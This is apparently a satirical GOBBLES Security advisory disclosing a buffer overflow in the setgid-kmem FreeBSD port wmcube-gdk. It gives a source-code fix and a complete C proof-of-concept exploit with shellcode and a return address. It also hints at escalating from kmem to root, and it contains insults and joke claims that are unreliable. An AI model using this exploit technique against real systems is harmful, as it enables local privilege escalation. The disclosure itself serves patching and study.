++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ ++++++++++++++GOBBLES+SECURITY+RESEARCH+TEAM+INCORPORATED+++++++++++++++++ ALERT! ALERT! FREEBSD LOCAL ROOT VULNERABILITY! ALERT! ALERT! ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ #include "/var/spool/uucppublic/.gbbls/note.h" "Love doesn't make the world go 'round, love is what makes the ride worthwhile." Alicia is in love!!! ---^ GOBBLES and he group do proudly present advisory on local root hole in FreeBSD that can also work for the Linux, but GOBBLES did find hole when doing comprehensive ports audit. GOBBLES didn't see any real need to waste time on crappy program exploits for other operating systems and suspect this one is enough to teach programmer timecop lesson in manners and one in humility. PRODUCT ******* Program: -r-xr-sr-x 1 root kmem 20376 Dec 17 11:28 /usr/X11R6/bin/wmcube-gdk FreeBSD port: /usr/ports/sysutils/wmcube-gdk Author WWW: http://www.ne.jp/asahi/linux/timecop/ BACKGROUND ********** GOBBLES crack he knuckles as he prepare to exercise copy/paste talent then does submit the following to eyes of eager readers: WMCube / GDK This is modified and optimized version of wmCube 0.98, originally available at this website. Changes include much faster redraws, significantly lower CPU usage, ability to specify color for both flat-shaded and wireframe objects, and transparent CPU load / zoom buttons. Sorry, the "roll-in" sequence of original wmCube has been removed. But with all these cool new features it's unlikely you are going to miss it too long :) wmCube author is too busy to look over my changes, so I am making them available here, with his approval :) Note, Makefiles for systems other than Linux will need to be modified to use gdk libraries. Check out README.GDK inside the tarball for some hints where to start. If you make changes for your system, please send me updated Makefile. Thank you. PROBLEM ******* GOBBLES notice user can specify object description file which overflow small buffer which then transform wmcube-gdk into swiss army knife with gid(kmem) privs. For all critics who say, "this not root if it only gid(kmem)!" GOBBLES say, "Go back to security-basic mailing list to learn trick for quickly becoming uid(root) on the FreeBSD and other OS when you have gid(kmem). GOBBLES think that all people who quick to criticize GOBBLES when all he really doing is saying things in tricky way to invite criticism from ignorant so that GOBBLES can mock them are just complete idiots who spend way too much time trying to get three years of "security experience" so they can go take 250 question CISSP test and then let the world know on mailing lists that they have elite whitehat pussy ethical hacker with no skill certification (which is what CISSP stand for). Anyhow, you idiots know who you are, and beware that any mockery of GOBBLES by inexperienced and unskilled critics who brag certifications will not be accepted, dummies. Hehehe GOBBLES got off on a little dark tangent from he speech and will now get back to original subject, which is local root exploit in wmcube-gdk. Funny thing that GOBBLES did notice is that wmcube program that wmcube-gdk is based off is not vulnerable to this bug (but is to others, go do sourcecode audit before GOBBLES make monkey out of you!), so the fault is entirely belonging to programmer timecop... encourage him to stop writing code with silly beginner style mistakes. Stupid mistakes made by stupid beginner programmer. VENDOR NOTIFICATION STATUS ************************** GOBBLES first do privmsg timecop: identify tricks on efnet with long string to see who make right rules for Ettercap exploit (snort.org official ones worthless, but idiot criticize us!) hehe then GOBBLES did proceed to try and discuss issue with programmer timecop but did not get any response from selfrighteous bastard so oh well GOBBLES not really caring to help anymore. Important for software programmers to all be active subscribers and contributers to securityfocus.com mailing lists so they can find out about earthshattering bugs that indirectly affect their code and then can go audit and fix new bugs, understand what GOBBLES wants you developers all to do? TECHNICAL DETAILS ***************** Here problem GOBBLES did spot in wmcube.c, in the function loadobj(). int loadobj(char *filename) { FILE *fp; char tmp[64] = { "" }; int i = 0, counter = 1; 10: ... fscanf(fp, "%s", tmp); ... goto 10; } As you can see, programmer pick to chose data in 64 bytes small buffer, which is OK but the problem is the fscanf(fp, "s", tmp); trick used multiple times in code he make of loadobj(). Bad decision by newbie programmer who do not understand that penetrator can specify own object description file with -o argument and put long lines in it and then overflowing 64 byte buffer! Good thing GOBBLES catch all bugs in software, hehe! WORKAROUND ********** [0x01] Shutdown your computer until a official fix is available.. ..OR.. [0x02] Replace fscanf(fp, "%s", tmp); in loadobj(), wmcube.c with fgets(tmp, 64, fp);. Then uninstall bad wmcube-gdk, recompile and do a new install! DEMONSTRATION ************* GOBBLES do some more copy/paste acrobatics to show better idea of how this vulnerability exists and stuff. ===> Registering installation for wmcube-gdk-0.98p1 ===> SECURITY NOTE: This port has installed the following binaries which execute with increased privileges. 667014 40 -r-xr-sr-x 1 root kmem 20376 Dec 17 09:43 /usr/X11R6/bin/wmcube-gdk If there are vulnerabilities in these programs there may be a security risk to the system. FreeBSD makes no guarantee about the security of ports included in the Ports Collection. Please type 'make deinstall' to deinstall the port if this is a concern. For more information, and contact details about the security status of this software, see the following webpage: http://www.ne.jp/asahi/linux/timecop/ GOBBLES@freegobbles:~$ ./GOBBLESwmc # GOBBLES whitehat PoC exploit GOBBLES! uid=1001(GOBBLES) gid=1001(GOBBLES) groups=1001(GOBBLES), 2(kmem) GOBBLES@freegobbles:~$ As you can see, GOBBLES had Andrew write pussy whitehat style PoC exploit to keep penetrators from using it maliciously (GOBBLES certain this futile effort to keep weapons out of penetrator hands though, since someone will undoubtedly "fix" exploit then republish it showing how smart they are for being able to "fix" simple things, idiots not understanding the reason for distributing in PoC format). CONCLUSION ********** Since there is security vulnerability in sgid kmem program GOBBLES decide to deinstall package so no evil penetrators may sneak into GOBBLES private kernel memory$!@#%. root@freegobbles:/usr/ports/sysutils/wmcube-gdk# make deinstall ===> Deinstalling for wmcube-gdk-0.98p1 root@freegobbles:/usr/ports/sysutils/wmcube-gdk# Now, GOBBLES feels much safer, hehehe. So, what GOBBLES learn this time? Fancy program might not be secure! Similar to philosophy of writing exploits in penetrator program Ettercap, but slightly different since wmcube-gdk just fancy program, and not evil penetrator program, hehe. POC EXPLOIT *********** This hole give root indirectly after getting gid(kmem). GOBBLES suggest trying strings in memory to find master.password then using Mickey Mouse Hacking Squadron UnicOS exploits to gain root on Cray's to do password cracking to get root, then do su root - trick to get root on machine. From GOBBLES extensive research into subject matter of root password he find that most FreeBSD root password are "love", but that is not GOBBLES root password so do not even try, hehe! This time GOBBLES choose to not include shellcode that execve() /bin/bash so FreeBSD admin can feel safe until author patches he program! /* * (c) Andrew / GOBBLES Security * * PoC exploit for wmcube-gdk * * Usage: /path/to/GOBBLES-wmcube-gdk-exploit [offset] * */ #include #include #include #include #include unsigned char GOBBLES_shellcode[] = "\xb8\xf5\xf5\xff\xff\xf7\xd0\x50\xb8\xb3\xba\xac\xde\xf7\xd0\x50" "\xb8\xb8\xb0\xbd\xbd\xf7\xd0\x50\x89\xe6\x31\xc0\x31\xdb\xb0\xf5" "\xf6\xd0\x50\x56\x53\xb0\x04\x50\xcd\x80\xb0\x01\x50\xcd\x80"; int main(int argc, char **argv) { FILE *fd; int i; u_long retaddy = 0xbfbff634; if(argc == 2) retaddy += atoi(argv[1]); fd = fopen(".gobbles", "wt"); fprintf(fd, "WMCUBE_COORDINATES\n"); fprintf(fd, "1aaa"); // atoi().. for(i = 0; i < 64; i += 8) fprintf(fd, "GOBBLES!"); printf("GOBBLES: Using %lx as retaddy\n", retaddy); fflush(NULL); fwrite(&retaddy, 4, 1, fd); fprintf(fd, "GOBBLES!"); fprintf(fd, "GOBBLES!"); fprintf(fd, "%s", GOBBLES_shellcode); fprintf(fd, " 0 -42 42\n"); fprintf(fd, "WMCUBE_LINES\n"); fprintf(fd, "1 1\n"); fclose(fd); execl("/usr/X11R6/bin/wmcube-gdk", "wmcube-gdk", "-o", ".gobbles", 0); unlink(".gobbles"); /* Mum always told me to cleanup when im done! */ fprintf(stderr, "System immune against GOBBLES exploit!\n"); return 0; } GREETS ****** dianora, tsk, snow, carolyn meinel, john vranesevich, steve gibson, kimble, knightmare, emmanuel goldstein, box.sk, @stake, securityfocus, sans.org, blackhat.com, defcon.org, 2600.com, #phrack@efnet, #hackphreak@undernet, bugtraq (thanks aleph1 and david ahmad for devoting your time to a great list), ntbugtraq (russel the love muscle ;D), cert.org, paul vixie, vesselin bontchev, reese witherspoon, kirsten dunst, katie holmes, aleister crowley, manly p hall, franz bardon, dennis ritchie, nietzsche, w. richard stevens, radiohead, george michael, larry wall, beethoven, francis bacon, bruce willis, bruce schneier, alan turing, john von neumann, donald knuth, michael abrash, robert sedgewick, richard simmons, government boy, ralph lauren, kevin mitnick, david koresh, the violent femmes, legions of doom, quentin tarantino, JUPES, security.nnov.ru, dugsong, wayne gretzky, hhp-programming.net, so1o, the HaX0R bRoThErS, nasa.gov, alfred hitchcock, ray bradbury, linux torvalds, alyssa milano, sarah michelle geller, jennifer lopez, catherine zeta jones, robert de niro, plato, leonardo da vinci, nostradamus, adam weishaupt, adema, kmfdm, eliphas levi, john dee, goo goo dolls, savage garden, george bush, john howard, tony blair, ashida kim, andrew tanenbaum, comp.lang.c, solar designer, patanjali, vayu siddhi, deepak chopra, ajna chakra, fuzzy bunny, lockdown, bronc buster, attrition.org, cliff stoll, bill gates, alan cox, george harrison, berkeley.edu, microsoft.com, isox, american mcgee, princess toadstool, ru paul, sharon stone, taeho oh, napster, nocarrier, steve wozniak, captian crunch, tony the tiger, julliette lewis, oliver twist, yakko, wakko (but no dot), santa claus, the easter bunny, the christmas tree, hacktech.org, mixter and the rest of #darknet/2xs, the planet Pluto, pluto the dog (from walt disney), walt disney, the smurfs, packetstormsecurity.org, chocolate, caramel, marshmallows, rice crispies, rice crispie treats, cousin WOBBLES, rfp, Alan@packetstorm, george bush senior, george w. bush, his drunken daughters, gary coleman, fat albert, rhino9, eEye.com (hehe good work on application firewall thing or whatever), the djali zwan, digital unix, o'reilly & associates (smart folk selling sketches on cover of book filled with printed manpages with little bit of funny jokes, hehe they rich now), hwa-security.net, #malvu/efnet, donkey kong, diddy kong, p diddy (GOBBLES not understand the english in this name? but he good artist anyway), mr. peanut, all girls who pose naked on webcam for GOBBLES, mr goldilocks (you memory live on forever, old chum), checkpoint.com (thank you for free stuff like nice new shirt and pen and golf tees that all say Checkpoint, hehe), whoever invented deoderant, monkey.org, and all our friends and family. GOBBLES SECURITY http://www.bugtraq.org/